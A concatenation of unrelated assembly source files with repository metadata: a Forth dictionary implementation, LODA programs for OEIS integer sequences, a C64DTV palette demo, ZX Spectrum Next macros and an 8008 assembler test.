D:0x0005 **** 0x0253 (0x0004A6) 0x0006- f:00000 d: 6 | PASS | **** non-standard encoding with D:0x0006 **** 0x0254 (0x0004A8) 0x0007- f:00000 d: 7 | PASS | **** non-standard encoding with D:0x0007 **** 0x0255 (0x0004AA) 0x0008- f:00000 d: 8 | PASS | **** non-standard encoding with D:0x0008 **** 0x0256 (0x0004AC) 0x0009- f:00000 d: 9 | PASS | **** non-standard encoding with D:0x0009 **** 0x0257 (0x0004AE) 0x000A- f:00000 d: 10 | PASS | **** non-standard encoding with D:0x000A **** 0x0258 (0x0004B0) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B **** 0x0259 (0x0004B2) 0x000C- f:00000 d: 12 | PASS | **** non-standard encoding with D:0x000C **** 0x025A (0x0004B4) 0x000D- f:00000 d: 13 | PASS | **** non-standard encoding with D:0x000D **** 0x025B (0x0004B6) 0x000E- f:00000 d: 14 | PASS | **** non-standard encoding with D:0x000E **** 0x025C (0x0004B8) 0x000F- f:00000 d: 15 | PASS | **** non-standard encoding with D:0x000F **** 0x025D (0x0004BA) 0x0010- f:00000 d: 16 | PASS | **** non-standard encoding with D:0x0010 **** 0x025E (0x0004BC) 0x0011- f:00000 d: 17 | PASS | **** non-standard encoding with D:0x0011 **** 0x025F (0x0004BE) 0x0012- f:00000 d: 18 | PASS | **** non-standard encoding with D:0x0012 **** 0x0260 (0x0004C0) 0x0013- f:00000 d: 19 | PASS | **** non-standard encoding with D:0x0013 **** 0x0261 (0x0004C2) 0x0014- f:00000 d: 20 | PASS | **** non-standard encoding with D:0x0014 **** 0x0262 (0x0004C4) 0x0015- f:00000 d: 21 | PASS | **** non-standard encoding with D:0x0015 **** 0x0263 (0x0004C6) 0x0016- f:00000 d: 22 | PASS | **** non-standard encoding with D:0x0016 **** 0x0264 (0x0004C8) 0x0017- f:00000 d: 23 | PASS | **** non-standard encoding with D:0x0017 **** 0x0265 (0x0004CA) 0x0018- f:00000 d: 24 | PASS | **** non-standard encoding with D:0x0018 **** 0x0266 (0x0004CC) 0x0019- f:00000 d: 25 | PASS | **** non-standard encoding with D:0x0019 **** 0x0267 (0x0004CE) 0x001A- f:00000 d: 26 | PASS | **** non-standard encoding with D:0x001A **** 0x0268 (0x0004D0) 0x001B- f:00000 d: 27 | PASS | **** non-standard encoding with D:0x001B **** 0x0269 (0x0004D2) 0x0090- f:00000 d: 144 | PASS | **** non-standard encoding with D:0x0090 **** 0x026A (0x0004D4) 0x0090- f:00000 d: 144 | PASS | **** non-standard encoding with D:0x0090 **** 0x026B (0x0004D6) 0x0151- f:00000 d: 337 | PASS | **** non-standard encoding with D:0x0151 **** 0x026C (0x0004D8) 0x00E1- f:00000 d: 225 | PASS | **** non-standard encoding with D:0x00E1 **** 0x026D (0x0004DA) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x026E (0x0004DC) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x026F (0x0004DE) 0x0125- f:00000 d: 293 | PASS | **** non-standard encoding with D:0x0125 **** 0x0270 (0x0004E0) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x0271 (0x0004E2) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x0272 (0x0004E4) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x0273 (0x0004E6) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x0274 (0x0004E8) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x0275 (0x0004EA) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x0276 (0x0004EC) 0x0151- f:00000 d: 337 | PASS | **** non-standard encoding with D:0x0151 **** 0x0277 (0x0004EE) 0x0151- f:00000 d: 337 | PASS | **** non-standard encoding with D:0x0151 **** 0x0278 (0x0004F0) 0x0151- f:00000 d: 337 | PASS | **** non-standard encoding with D:0x0151 **** 0x0279 (0x0004F2) 0x0151- f:00000 d: 337 | PASS | **** non-standard encoding with D:0x0151 **** 0x027A (0x0004F4) 0x0151- f:00000 d: 337 | PASS | **** non-standard encoding with D:0x0151 **** 0x027B (0x0004F6) 0x0151- f:00000 d: 337 | PASS | **** non-standard encoding with D:0x0151 **** 0x027C (0x0004F8) 0x0116- f:00000 d: 278 | PASS | **** non-standard encoding with D:0x0116 **** 0x027D (0x0004FA) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x027E (0x0004FC) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x027F (0x0004FE) 0x00C4- f:00000 d: 196 | PASS | **** non-standard encoding with D:0x00C4 **** 0x0280 (0x000500) 0x0125- f:00000 d: 293 | PASS | **** non-standard encoding with D:0x0125 **** 0x0281 (0x000502) 0x0125- f:00000 d: 293 | PASS | **** non-standard encoding with D:0x0125 **** 0x0282 (0x000504) 0x0134- f:00000 d: 308 | PASS | **** non-standard encoding with D:0x0134 **** 0x0283 (0x000506) 0x013C- f:00000 d: 316 | PASS | **** non-standard encoding with D:0x013C **** 0x0284 (0x000508) 0x0000- f:00000 d: 0 | PASS 0x0285 (0x00050A) 0x0000- f:00000 d: 0 | PASS 0x0286 (0x00050C) 0x0000- f:00000 d: 0 | PASS 0x0287 (0x00050E) 0x0000- f:00000 d: 0 | PASS
84.124795
127
0.467091
feabbefca896da660c9759c5bd03c704a6120640
6,292
asm
Assembly
assembler/forth/dict.asm
MRebhan/RetroComputers-XC8010
a55dc3975304710029bacd66fd54ea5635396af9
[ "MIT" ]
2
2016-11-16T14:03:31.000Z
2017-01-06T20:33:37.000Z
assembler/forth/dict.asm
MRebhan/RetroComputers-XC8010
a55dc3975304710029bacd66fd54ea5635396af9
[ "MIT" ]
null
null
null
assembler/forth/dict.asm
MRebhan/RetroComputers-XC8010
a55dc3975304710029bacd66fd54ea5635396af9
[ "MIT" ]
null
null
null
dvar STATE,5,,, dvar DP,2,,,here_pos dcode HERE,4,, ; ( -- dp@ ) lda var_DP pha nxt dvar LATEST,6,,,name_marker dword >CFA,4,,TCFA .lit 2 .wp ADD .wp DUP .wp PEEK .lit F_LENMASK .wp AND .wp ADD .wp INCR .wp EXIT dword >DFA,4,,TDFA .wp TCFA .lit 3 .wp ADD .wp EXIT dword FIND,4,, ; ( word-address word-length -- address ) .wp LATEST .wp PEEK ; w-a w-l addr FIND_loop: .wp DUP .zbranch FIND_notfound .wp DUP ; w-a w-l addr addr .wp INCRTWO .wp PEEKBYTE ; w-a w-l addr flags .lit F_LENMASK .lit F_HIDDEN .wp OR ; w-a w-l addr flags mask .wp AND ; w-a w-l addr length .wp ROT ; w-a addr length w-l .wp DUP ; w-a addr length w-l w-l .wp ROT ; w-a addr w-l w-l length .wp EQU .zbranch FIND_notequal ; w-a addr w-l .wp TOR ; w-a addr .wp TWODUP ; w-a addr w-a addr .lit 3 .wp ADD .wp STRCMP ; w-a addr len .wp FROMR ; w-a addr len w-l .wp DUP ; w-a addr len w-l w-l .wp ROT ; w-a addr w-l w-l len .wp LE .zbranch FIND_notequal ; w-a addr w-l ; Found .wp DROP ; w-a addr .wp NIP ; addr .wp EXIT FIND_notequal: .wp SWAP .wp PEEK .branch FIND_loop .wp EXIT FIND_notfound: .wp DROP ; w-a w-l .wp TWODROP ; .wp ZERO .wp EXIT dword ('),3,,_HTICK .wp WORD .wp TWODUP .wp FIND .wp DUP .zbranch TICK_notfound .wp NIP .wp NIP .wp EXIT dword ',1,,_TICK .wp _HTICK .wp TCFA .wp EXIT TICK_notfound: .wp DROP .lit INTERPRET_texta .lit 15 .wp TYPE .wp TYPE .wp ABORT .wp EXIT dcode EXECUTE,7,, rts dword HIDE,4,, .wp _HTICK .wp INCRTWO .wp DUP .wp PEEKBYTE .lit F_HIDDEN .wp OR .wp SWAP .wp POKEBYTE .wp EXIT dword REVEAL,6,, .wp LATEST .wp PEEK .wp INCRTWO .wp DUP .wp PEEKBYTE .lit F_HIDDEN .wp INVERT .wp AND .wp SWAP .wp POKEBYTE .wp EXIT dword IMMEDIATE,9,F_IMMED, .wp LATEST .wp PEEK .wp INCRTWO .wp DUP .wp PEEKBYTE .lit F_IMMED .wp OR .wp SWAP .wp POKEBYTE .wp EXIT dword COMPILE-ONLY,12,F_IMMED,COMPILEONLY .wp LATEST .wp PEEK .wp INCRTWO .wp DUP .wp PEEKBYTE .lit F_COMPILEONLY .wp OR .wp SWAP .wp POKEBYTE .wp EXIT dword (HEADER),8,,IHEADER ; ( word-addr word-length -- ) .lit F_LENMASK .wp AND .wp HERE ; w-a w-l here .wp LATEST .wp PEEK ; w-a w-l here latest .wp COMMA ; w-a w-l here .wp LATEST .wp POKE ; w-a w-l .wp DUP ; w-a w-l w-l .lit F_HIDDEN .wp OR .wp CCOMMA ; w-a w-l .wp DUP ; w-a w-l w-l .wp ALLOT ; w-a w-l here .wp SWAP ; w-a here w-l .wp MEMCPY .wp EXIT dword HEADER,6,, .wp WORD ; w-a w-l .wp IHEADER .wp EXIT dword \,,1,,COMMA ; ( a -- ) .wp HERE .wp POKE .wp CELL .wp ALLOT .wp DROP .wp EXIT dword C\,,2,,CCOMMA ; ( a -- ) .wp HERE .wp POKEBYTE .wp ONE .wp ALLOT .wp DROP .wp EXIT dword CREATE,6,, .wp HEADER .wp REVEAL .lit $22 .wp CCOMMA .comp DOVAR .wp EXIT dword VARIABLE,8,, .wp CREATE .comp 0 .wp EXIT dword CONSTANT,8,, ; ( a -- ) .wp HEADER .wp REVEAL .compb $22 .comp DOCON .wp COMMA .wp EXIT dword (FORGET),8,,IFORGET ; ( word -- ) .wp DUP .wp PEEK .wp LATEST .wp POKE .wp DP .wp POKE .wp EXIT dword FORGET,6,, .wp _HTICK .wp IFORGET .wp EXIT dword ['],3,F_IMMED+F_COMPILEONLY,CLIT .comp LIT .wp EXIT dword WORDS,5,, .wp LATEST .wp PEEK ; addr WORDS_loop: .wp DUP ; addr addr .wp ZNEQU ; addr cond .zbranch WORDS_end ; addr .wp DUP ; addr addr .wp INCRTWO ; addr flagaddr .wp PEEKBYTE ; addr flags .wp DUP ; addr flags flags .lit F_HIDDEN .wp AND ; addr flags hidden .wp ZEQU .zbranch WORDS_hidden .lit F_LENMASK .wp AND ; addr length .wp OVER ; addr length addr .lit 3 .wp ADD ; addr length straddr .wp SWAP ; addr straddr length .wp TYPE .wp SPACE WORDS_hidden_return: .wp PEEK ; newaddr .branch WORDS_loop WORDS_end: .wp DROP .wp EXIT WORDS_hidden: .wp DROP ; addr .branch WORDS_hidden_return dword ?COMPILE-ONLY,13,,ISCOMPONLY ; ( address -- cond ) .wp INCRTWO .wp PEEK .lit F_COMPILEONLY .wp AND .wp ZNEQU .wp EXIT dword ?IMMEDIATE,10,,ISIMMEDIATE ; ( address -- cond ) .wp INCRTWO .wp PEEK .lit F_IMMED .wp AND .wp ZNEQU .wp EXIT .ifcflag defer .macro defer [name],namelen,flags=0,[label]=${name},pointer=EXIT dcode ${name},${namelen},${flags},${label} jsr defer_does .wp ${pointer} .endm dword DEFER,5,, .wp CREATE .lit EXIT .wp COMMA .wp NDOES .wp EXIT defer_does: ent DOCOL .wp PEEK .wp EXECUTE .wp EXIT dword DEFER!,6,,DEFER_SET .lit 3 .wp ADD .wp POKE .wp EXIT dword IS,2,, .wp _TICK .wp DEFER_SET .wp EXIT dword DEFER@,6,,DEFER_GET .lit 3 .wp ADD .wp PEEK .wp EXIT .endif
19.6625
72
0.459313
29223d0730e353183a9fe0324ddbfa2d034cb0a9
433
asm
Assembly
oeis/133/A133138.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/133/A133138.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/133/A133138.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A133138: Triangle T(n,k) of the coefficients of the polynomials Q(n,x)=(1+x)[(1+x)^(n-1)+x^(n-1)], Q(0,x)=2. ; Submitted by Christian Krause ; 2,2,2,1,3,2,1,3,4,2,1,4,6,5,2,1,5,10,10,6,2,1,6,15,20,15,7,2,1,7,21,35,35,21,8,2,1,8,28,56,70,56,28,9,2,1,9,36,84,126,126,84,36,10,2,1,10,45,120,210,252,210,120,45,11,2 lpb $0 add $1,1 sub $0,$1 mov $2,$1 sub $2,$0 lpe bin $1,$0 mul $1,16 add $1,17 sub $1,$2 mov $0,$1 div $0,16
25.470588
170
0.591224
464924dc61341f13d4f8322d41fd3485e702d598
752
asm
Assembly
oeis/140/A140158.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/140/A140158.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/140/A140158.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A140158: a(1)=1, a(n) = a(n-1) + n^4 if n odd, a(n) = a(n-1) + n^1 if n is even. ; 1,3,84,88,713,719,3120,3128,9689,9699,24340,24352,52913,52927,103552,103568,187089,187107,317428,317448,511929,511951,791792,791816,1182441,1182467,1713908,1713936,2421217,2421247,3344768,3344800,4530721,4530755,6031380,6031416,7905577,7905615,10219056,10219096,13044857,13044899,16463700,16463744,20564369,20564415,25444096,25444144,31208945,31208995,37974196,37974248,45864729,45864783,55015408,55015464,65571465,65571523,77688884,77688944,91534785,91534847,107287808,107287872,125138497,125138563 mov $2,$0 mov $3,$0 add $3,1 lpb $3 mov $0,$2 sub $3,1 sub $0,$3 mov $4,$0 gcd $4,2 pow $4,2 mov $5,$0 add $5,1 pow $5,$4 add $1,$5 lpe mov $0,$1
37.6
501
0.731383
0eb38da7c89e3e5ab1b4dfee1172df9441c20097
694
asm
Assembly
oeis/350/A350125.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/350/A350125.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/350/A350125.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A350125: a(n) = Sum_{k=1..n} k^2 * floor(n/k)^n. ; Submitted by Christian Krause ; 1,8,40,345,3303,50225,833569,17045934,388654659,10039636255,285508661853,8924967326015,302927979357701,11114722212099135,437913155876193839,18447871416712820782,827249276230172525622,39347009369000530723017,1978425064555890987361447,104858000034458918490033449,5842591023420635533468535505,341428203010444083639170615027,20880471581815396283452376270019,1333736094880250067661593559018475,88817845786201661759234897331378676,6156119947143200933688244554208125204 add $0,1 mov $2,$0 lpb $0 mov $4,$0 max $0,1 mov $3,$2 div $3,$0 sub $0,1 pow $3,$2 pow $4,2 mul $3,$4 add $1,$3 lpe mov $0,$1
36.526316
464
0.801153
9a2d513892921dcdbf21f6d4adff244e8a923fea
456
asm
Assembly
programs/oeis/314/A314191.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/314/A314191.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/314/A314191.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A314191: Coordination sequence Gal.5.292.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,11,17,21,27,33,37,43,49,54,59,65,71,75,81,87,91,97,103,108,113,119,125,129,135,141,145,151,157,162,167,173,179,183,189,195,199,205,211,216,221,227,233,237,243,249,253,259,265 mul $0,6 mov $2,1 lpb $0 trn $0,$2 sub $2,1 add $0,$2 sub $0,1 add $2,19 lpe add $0,1
32.571429
180
0.695175
ab04dd9c2e213e7d7b6f28ae0e02e0a88890d88a
140
asm
Assembly
programs/oeis/010/A010931.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/010/A010931.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/010/A010931.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A010931: Binomial coefficient C(15,n). ; 1,15,105,455,1365,3003,5005,6435,6435,5005,3003,1365,455,105,15,1 mov $1,15 bin $1,$0 mov $0,$1
20
67
0.685714
9a9220e3343b004de3a3c6141e53397283ccc762
176
asm
Assembly
SourceCode/divide.asm
Nuthi-Sriram/Assembly-Level-Code-for-8086
616b651c913863d6151ae49f409762fe5d707b74
[ "MIT" ]
null
null
null
SourceCode/divide.asm
Nuthi-Sriram/Assembly-Level-Code-for-8086
616b651c913863d6151ae49f409762fe5d707b74
[ "MIT" ]
null
null
null
SourceCode/divide.asm
Nuthi-Sriram/Assembly-Level-Code-for-8086
616b651c913863d6151ae49f409762fe5d707b74
[ "MIT" ]
null
null
null
.model small .stack .data .code .startup ;mov ax,5h ;mov bl,2h ;div bl mov dx, WORD PTR 244h mov ax, WORD PTR 259h mov bl,8h div bl end
11
32
0.545455
ce22ae72432917f5197cfcebcebe0115fe0db89c
512
asm
Assembly
programs/oeis/184/A184111.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/184/A184111.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/184/A184111.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A184111: n+floor(4*sqrt(n-1)); complement of A184112. ; 1,6,8,10,13,14,16,18,20,22,23,25,26,28,29,31,33,34,35,37,38,40,41,43,44,46,47,48,50,51,52,54,55,56,58,59,61,62,63,64,66,67,68,70,71,72,74,75,76,78,79,80,81,83,84,85,86,88,89,90,91,93,94,95,97,98,99,100,101,103,104,105,106,108,109,110,111,113,114,115,116,118,119,120,121,122,124,125,126,127,128,130,131,132,133,134,136,137,138,139 mov $2,$0 mul $0,16 lpb $0,1 add $1,1 sub $0,$1 sub $0,1 trn $0,$1 lpe lpb $2,1 add $1,1 sub $2,1 lpe add $1,1
30.117647
331
0.646484
1c0863c1aa554cb124cb5eecc78f23e4bc95abdd
216
asm
Assembly
programs/oeis/010/A010871.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/010/A010871.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/010/A010871.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A010871: Constant sequence: a(n) = 32. ; 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32 mov $1,32
43.2
163
0.652778
e56fdfe58cfecbfd61fc309ee5879921831338ad
1,914
asm
Assembly
src/test/ref/c64dtv-color.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/c64dtv-color.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/c64dtv-color.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Test C64DTV v2 256-colors and the 16-color redefinable palette // Commodore 64 PRG executable file .file [name="c64dtv-color.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .const DTV_FEATURE_ENABLE = 1 .const DTV_BORDER_OFF = 2 .const DTV_HIGHCOLOR = 4 .const DTV_BADLINE_OFF = $20 /// $D012 RASTER Raster counter .label RASTER = $d012 /// $D021 Background Color 0 .label BG_COLOR = $d021 /// Feature enables or disables the extra C64 DTV features .label DTV_FEATURE = $d03f /// Controls the graphics modes of the C64 DTV .label DTV_CONTROL = $d03c /// Defines colors for the 16 first colors ($00-$0f) .label DTV_PALETTE = $d200 .segment Code main: { // asm sei // *DTV_FEATURE = DTV_FEATURE_ENABLE lda #DTV_FEATURE_ENABLE sta DTV_FEATURE // *DTV_CONTROL = DTV_HIGHCOLOR | DTV_BORDER_OFF | DTV_BADLINE_OFF lda #DTV_HIGHCOLOR|DTV_BORDER_OFF|DTV_BADLINE_OFF sta DTV_CONTROL __b1: // while(*RASTER!=$40) lda #$40 cmp RASTER bne __b1 // *BG_COLOR = 0 // Create rasterbars lda #0 sta BG_COLOR ldx #$31 __b3: // asm nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop // (*BG_COLOR)++; inc BG_COLOR // for (byte r : $31..$ff) inx cpx #0 bne __b3 ldx #0 // Rotate palette __b4: // DTV_PALETTE[c] = palette[c] lda palette,x sta DTV_PALETTE,x // palette[c]++; inc palette,x // for(byte c : 0..$f) inx cpx #$10 bne __b4 jmp __b1 .segment Data palette: .byte 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, $a, $b, $c, $d, $e, $f }
20.580645
71
0.60815
b316ee590a08f0be3117c94da721c84bfd917d64
761
asm
Assembly
oeis/032/A032820.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/032/A032820.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/032/A032820.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A032820: Numbers whose set of base-8 digits is {1,4}. ; Submitted by Christian Krause ; 1,4,9,12,33,36,73,76,97,100,265,268,289,292,585,588,609,612,777,780,801,804,2121,2124,2145,2148,2313,2316,2337,2340,4681,4684,4705,4708,4873,4876,4897,4900,6217,6220,6241,6244,6409,6412,6433,6436,16969,16972,16993,16996,17161,17164,17185,17188,18505,18508,18529,18532,18697,18700,18721,18724,37449,37452,37473,37476,37641,37644,37665,37668,38985,38988,39009,39012,39177,39180,39201,39204,49737,49740,49761,49764,49929,49932,49953,49956,51273,51276,51297,51300,51465,51468,51489,51492,135753,135756 add $0,1 mov $2,1 lpb $0 mov $3,$0 mul $0,2 sub $0,1 div $0,4 add $3,1 mod $3,2 mul $3,6 add $3,2 mul $3,$2 add $1,$3 mul $2,8 lpe gcd $0,$1 div $0,2
34.590909
499
0.721419
b63de6e624a59a81ef7277a41f995fab0dbccb33
643
asm
Assembly
oeis/262/A262543.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/262/A262543.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/262/A262543.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A262543: Number of rooted asymmetrical polyenoids of type U_n* having n edges. ; 0,2,4,10,28,84,264,858,2860,9724,33592,117572,416024,1485800,5348880,19389690,70715340,259289580,955277400,3534526380,13128240840,48932534040,182965127280,686119227300,2579808294648,9723892802904,36734706144304,139067101832008,527495903500720,2004484433302736,7629973004184608,29089272078453818,111068129754096396,424672260824486220,1625888084299461528,6232570989814602524,23919596771720906984,91901608649243484728,353467725574013402800,1360850743459951600780,5244254084552984217640 mov $1,$0 mul $1,2 bin $1,$0 trn $0,1 add $0,2 div $1,$0 mov $0,$1 mul $0,2
53.583333
484
0.849145
5a62087f763e4a9a5bbb0639d5e7bc9ffe7313f7
521
asm
Assembly
Tests/Macros.asm
ped7g/ZXSpectrumNextTests
3a3082cf3b2b17e1d9cd4f1d5c71934a2c3ce862
[ "MIT" ]
3
2018-12-29T16:02:49.000Z
2020-01-30T06:41:37.000Z
Tests/Macros.asm
ped7g/ZXSpectrumNextTests
3a3082cf3b2b17e1d9cd4f1d5c71934a2c3ce862
[ "MIT" ]
null
null
null
Tests/Macros.asm
ped7g/ZXSpectrumNextTests
3a3082cf3b2b17e1d9cd4f1d5c71934a2c3ce862
[ "MIT" ]
null
null
null
; Gratuitously nicked from the Scroll Nutter demo. ; Set Next hardware register using A MACRO NEXTREG_A register dw $92ED db register ENDM ; Set Next hardware register using an immediate value MACRO NEXTREG_nn register, value dw $91ED db register db value ENDM ; Set breakpoint for CSpect emulator (when it is executed with "-brk" option) MACRO CSPECT_BRK db $DD, $01 ENDM ; Set border to desired colour MACRO BORDER out_value ld a, out_value out (ULA_P_FE), a ENDM
20.84
77
0.704415
9af6d60bde6beb51f939fb5184090189a8255bd8
617
asm
Assembly
oeis/077/A077543.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/077/A077543.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/077/A077543.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A077543: Smallest n-digit composite palindrome. ; Submitted by Jamie Morken(m4) ; 4,22,111,1001,10001,100001,1000001,10000001,100000001,1000000001,10000000001,100000000001,1000000000001,10000000000001,100000000000001,1000000000000001,10000000000000001,100000000000000001 mov $1,1 mov $2,1 mov $3,$0 mul $3,5 lpb $3 add $2,$3 mov $5,$3 mul $5,2 add $5,1 mul $2,$5 add $1,$2 mov $5,$0 mul $5,$3 add $5,$0 mov $4,$5 cmp $4,0 add $5,$4 div $1,$5 div $1,$5 div $2,$5 sub $3,1 lpe mul $1,2 mov $6,10 pow $6,$0 div $2,$6 mov $4,$2 cmp $4,0 add $2,$4 div $1,$2 add $1,$6 mov $0,$1 add $0,1
16.236842
190
0.645057
91896733241cdaac29e9e3974febece2ba316d24
1,121
asm
Assembly
src/main/tests/data/basics.asm
Triceraprog/8008-assembler
bddfe82a341a3c6259ad4eb52bddefbf5b67daa7
[ "MIT" ]
null
null
null
src/main/tests/data/basics.asm
Triceraprog/8008-assembler
bddfe82a341a3c6259ad4eb52bddefbf5b67daa7
[ "MIT" ]
null
null
null
src/main/tests/data/basics.asm
Triceraprog/8008-assembler
bddfe82a341a3c6259ad4eb52bddefbf5b67daa7
[ "MIT" ]
null
null
null
VALUE: EQU 012 LONG: EQU 050#050 ; Comment ORG 000#000 ; Index Register Instructions LAA LMB LCM LDI 030 LEI 0xFF LHI \HB\SOMEDATA LLI \LB\SOMEDATA LMI 123 IND DCE ; Accumulator group ADC ADM ADI 0x00 ACD ACM ACI 022 SUH SUM SUI 033 SBB SBM SBI 0x11 NDA NDM NDI 0x00 XRB XRM XRI 10 ORC ORM ORI 0x11 CPD CPM CPI 111 RLC RRC RAL RAR ; Program Counter and Stack Control Instructions LOOP: JMP LOOP JFC LOOP JTC LOOP JFZ LOOP JTZ LOOP JFS LOOP JTS LOOP JFP LOOP JTP LOOP CAL ROUTINE CFC ROUTINE CTC ROUTINE CFZ ROUTINE CTZ ROUTINE CFS ROUTINE CTS ROUTINE CFP ROUTINE CTP ROUTINE ; RST 0 ; Not supported at the moment ROUTINE: RET RFC RTC RFZ RTZ RFS RTS RFP RTP ; Input Ouput Instructions INP 2 OUT 000 ; Machine Instruction HLT SOMEDATA: DATA 000,001,002,003,004 ; End of line comment DATA *2
11.556701
53
0.545941
